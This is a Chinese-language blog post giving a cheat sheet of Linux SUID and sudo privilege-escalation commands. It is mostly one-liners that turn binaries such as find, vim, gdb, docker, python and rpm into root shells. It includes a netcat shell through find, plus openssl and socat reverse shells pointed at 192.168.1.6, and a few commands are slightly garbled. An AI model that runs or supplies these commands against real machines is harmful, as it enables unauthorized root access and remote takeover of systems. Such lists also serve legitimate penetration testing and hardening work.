百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

Linux系统SUID提权技巧总结分享-最全没有之一

ahcoder 2025-06-08 18:48 2 浏览

Linux系统SUID提权

今天给大家分享的是SUID提权,也是linux中常用的提权方法,那SUID到底是什么,又是如何提权的。

  • SUID概念

SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义,在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件XINO,其属主为root,当我们通过非root用户登录时,如果XINO设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。

利用此特性,我们可通过SUID进行提权

  • 设置SUID权限命令:
chmod u+s filename 设置SUID位

chmod u-s filename 去掉SUID设置


  • 提权命令
nmap 
vim
find
bash
more
less
nano
cp
awk
nice
docker
env
expect
flock
ftp
gdb
gimp
git
ionice
ip
ksh
logsave
make
man
openssl
php
python
rpm
rsync
rvim
setarch
socat
ssh
strace
stdbuf
taskset
tclsh
time
timeout
watch
xargs
zsh

find 使用方法

如果find 以SUID权限运行,所有通过find 执行的命令都会以root 权限运行

find / -user root -perm -4000 print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null find . -exec whoami

find / -user root -perm -4000 -exec ls -ldb {} ;

cd /tmp;touch xxx 随便创建一个文件可以在tmp目录下

find xxx -exec whoami ;

find xxx -exec /bin/sh ; 利用find得到一个root权限的shell

find xxx -exec nc -lvp 1234 -e /bin/sh ;利用nc反弹一个root权限的shell

vim 使用方法

vim作为一款linux下的文件编辑器,当以SUID运行的话,它会继承root用户的权限:可以读取系统中所有的文件

vim/vi

# Press ESC key

:set shell=/bin/sh

:shell

msf 中也有相关的模块

msf6> search exploit/unix/local/setuid_nmap

bash

bash -p

># id

less/more

less /etc/passwd

!/bin/sh

nano编辑器提权

nano是Unix和类Unix系统中的一个文本编辑器,我们也可以利用它来提权:

nano

Ctrl + R

Ctrl + X

即可进入命令行

:set shell=/bin/sh

ed提权

我们将利用ed命令执行提权操作。为此,我们需要设置具有管理权限的ed command lab。然后,我们将查看获取sudo权限后对它的影响,以及我们如何更多地将其用于提权。

test All=(root) NOPASSWD: /bin/ed

ssh test@192.168.1.31

sudo -l

sudo ed

awk提权

AWK, 数据过滤工具 (类似于grep),属数据处理引擎,基于模式匹配检查输入文本,逐行处理并输出。我们可以通过以下方式进行命令执行:

awk 'BEGIN {system("whoami")}'

nice

以更改过的优先序来执行程式, 简单来说就是修改程序的优先级,输入下面的命令进行提权:

nice /bin/sh -p


docker

输入下面的命令进行提权:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

env命令提权

输入下面的命令进行提权:

env /bin/sh -p

expect

输入下面的命令进行提权:

expect -c 'spawn /bin/sh -p;interact'

flock

输入下面的命令进行提权:

flock -u / /bin/sh -p

ftp

输入下面的命令进行提权:

ftp
!/bin/sh -p

gdb

输入下面的命令进行提权:

gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

gimp

输入下面的命令进行提权:

gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.execl("/bin/sh", "sh", "-p")'

git

git help status  //在底行输入“!/bin/sh -p”

ionice

ionice /bin/sh -p

ip

ip netns add foo
ip netns exec foo /bin/sh -p
ip netns delete foo

ksh

ksh -p

logsave

logsave /dev/null /bin/sh -i -p

make

COMMAND='/bin/sh -p'
make -s --eval=#39;x:\n\t-'"$COMMAND"

man

man man  //在底行输入"!/bin/sh -p"

openssl

首先在攻击者的机器上运行下面的命令以接收连接:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345

之后在CentOS服务器上执行下面的命令:
RHOST=192.168.1.6
RPORT=12345

mkfifo /tmp/s; /bin/sh -p -i < /tmp/s 2>&1 | openssl s_client -quiet -no_ign_eof -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s

php

CMD="/bin/sh"
php -r "pcntl_exec('/bin/sh', ['-p']);"

python

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

rpm

rpm --eval '%{lua:os.execute("/bin/sh -p")}'

rsync

rsync -e 'sh -p -c "sh -p 0<&2 1>&2"' 127.0.0.1:/dev/null

rvim

rvim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

setarch

setarch $(arch) /bin/sh -p

socat

攻击者首先在自己的计算机启动对TCP 8888端口的监听

socat file:'/dev/tty',raw,echo=0 tcp-listen:8888
服务器通过socat发起连接:

socat tcp-connect:192.168.1.6:8888 exec:'/bin/sh -p',pty,stderr
攻击者得到shell:

ssh

ssh -o ProxyCommand=';sh -p 0<&2 1>&2' x

strace

strace -o /dev/null /bin/sh -p

stdbuf

stdbuf -i0 /bin/sh -p

taskset

taskset 1 /bin/sh -p

tclsh

tclsh
exec /bin/sh -p <@stdin >@stdout 2>@stderr

time

time /bin/sh -p

timeout

timeout 7d /bin/sh -p

watch

watch -x sh -c 'reset; exec sh -p 1>&0 2>&0'

无法显示执行的命令,但是可以看到执行结果。
提权成功,得到了root shell。

xargs

xargs -a /dev/null sh -p

zsh

zsh

相关推荐

MySQL的数据类型和存储引擎介绍(mysql数据存储种类)

一.MySQL数据类型1.整数类型注:MySQL可以为整数类型指定宽度,比如int(3)、int(5),这个限制不是限制value的合法范围,所以对绝大数应用没有任何意义,对于存储而言,int(...

Linux目录管理(linux目录权限详解)

创建、复制、删除、移动、查看、编辑、压缩、查找内容提要:目录结构如图1-1所示bin普通用户使用的命令/bin/ls,/bin/datesbin管理员使用的命令/sbin/server如图1-2所...

C语言中的变量,在内存中如何存储?

在C语言中,提供了char,int这样的变量类型,可以定义一个变量,然后,在变量中存储数据。例如:charx=68;就是定义了一个char类型的变量,变量的名称是x,在x这个变量中存放68...

Redis进阶之底层存储数据结构及内存优化

前言Redis作为高性能缓存中间件,除了拥有高性能的特点之后,相比于其他缓存而言还支持多种数据结构,而如String、List、Set、SortedSet和Hash都是redis对外支持的数据结构,而...

在Centos8 中使用Stratis管理本地存储(一)

Stratis是RHEL8/Centos8中提供的一个新的本地存储管理工具,它将有助于在块设备上创建分层存储。在RHEL8/Centos8中,可以通过安装两个软件包获得Stratis。在RHEL7,我...

Linux基金会2015 Vault大会:专攻存储、文件系统

IT之家(www.ithome.com):Linux基金会2015Vault大会:专攻存储、文件系统谈到云计算,我们常常想到微软、Azure等词语。其实也不然,Linux在云计算适用性更强,例如运行...

安卓16大升级!Linux终端存储突破42.3GB,手机变电脑真香了?

IT之家4月20日消息,谷歌Pixel手机用户迎来重磅升级!安卓16Beta4版本中,Linux终端应用彻底解除存储限制,用户可自由调用手机全部存储空间,实测扩容至42.3GB,让手机秒变生产力工...

Linux下ISCSI存储部署教程(iscsi存储优缺点)

在Linux系统下部署iSCSI存储是一项常见的任务,它能够为系统提供远程块级存储,使多个服务器可以通过网络访问共享的存储设备。iSCSI是一种基于TCP/IP的协议,通过IP网络来传输SCSI指令,...

如何在 Linux 系统中永久禁用交换分区 ?

Linux操作系统中的交换分区或交换文件充当硬盘上的临时存储区域,当物理内存(RAM)满时,系统使用该存储区域。它用于交换较少使用的内存页,这样系统就不会因为运行应用程序而耗尽物理内存。随着技术的发...

如何使用 Chmod 更改 Linux 上的文件和文件夹权限?

在Linux的世界里,权限就是秩序的基础。一个系统的安全性、文件访问策略、用户协作边界,无一不依赖于文件和目录权限的精细控制。而chmod(ChangeMode)命令,正是你手中调整权限的利剑...

掌控进程优先级:深入理解 Linux 的 Nice 与 Renice 命令

在日常的Linux系统管理中,资源调度是一个绕不开的话题。当系统负载过高、响应变慢,我们往往会寻找高资源占用的“罪魁祸首”,但我们还能做得更多——「调整这些进程的“优先级”」,让关键任务跑得更快,...

Linux修改uboot启动延时方法详细攻略,触觉智能RK3568开发板演示

本文介绍Linux系统修改uboot启动延时方法,使用触觉智能EVB3568鸿蒙开发板演示,搭载瑞芯微RK3568,四核A55处理器,主频2.0Ghz,1T算力NPU;支持开源鸿蒙OpenHarmon...

Linux基本命令—修改命令别名(linux怎么修改命令)

输入命令后系统的执行过程:alias(别名)—>内部命令—>hash表(记录外部命令的路径)—>$PATH(变量)—>命令找不到命令别名修改临时:aliascdnet=...

文件系统和模块设备的Page cache问题

一,普通文件的addressspace文件系统读取文件一般会使用do_generic_file_read(),mapping指向普通文件的addressspace。如果一个文件的某一块不在page...

LINUX MMC子系统分析(四) MMC HOST模块分析

本章主要介绍mmchost相关的内容,包括mmc子系统提供的mmchost相关的接口,以及mmchost与mmccard等子模块的关联等内容。我们按如下几部分进行介绍:一、相关的数据结构体及关...